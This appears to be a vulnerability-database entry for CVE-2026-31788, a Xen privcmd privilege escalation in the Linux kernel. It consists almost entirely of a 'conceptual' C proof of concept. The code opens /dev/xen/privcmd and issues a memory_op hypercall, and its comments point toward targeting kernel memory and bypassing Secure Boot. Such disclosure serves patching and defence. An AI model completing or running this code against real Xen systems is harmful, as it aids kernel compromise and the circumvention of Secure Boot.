CVE-2026-31788 Linux内核Xen privcmd权限提升漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <xen/xen.h> #include <xen/sys/privcmd.h> // Conceptual PoC for CVE-2026-31788 // Demonstrates opening the privcmd interface to issue hypercalls. // Exploitation requires root privileges within an unprivileged domU. int main() { int fd; privcmd_hypercall_t hypercall; int ret; // Step 1: Open the privcmd device fd = open("/dev/xen/privcmd", O_RDWR); if (fd < 0) { perror("Failed to open /dev/xen/privcmd"); return 1; } // Step 2: Prepare a hypercall structure // In a real exploit, specific hypercall numbers (e.g., memory ops) // would be used to target kernel memory and bypass Secure Boot. hypercall.op = __HYPERVISOR_memory_op; // Example operation hypercall.arg[0] = (unsigned long)XENMEM_add_to_physmap; hypercall.arg[1] = (unsigned long)NULL; // Target address // Step 3: Issue the hypercall ret = ioctl(fd, IOCTL_PRIVCMD_HYPERCALL, &hypercall); if (ret < 0) { perror("Hypercall failed"); // Note: The patch restricts this if not targeting the correct domain } else { printf("Hypercall executed successfully.\n"); } close(fd); return 0; }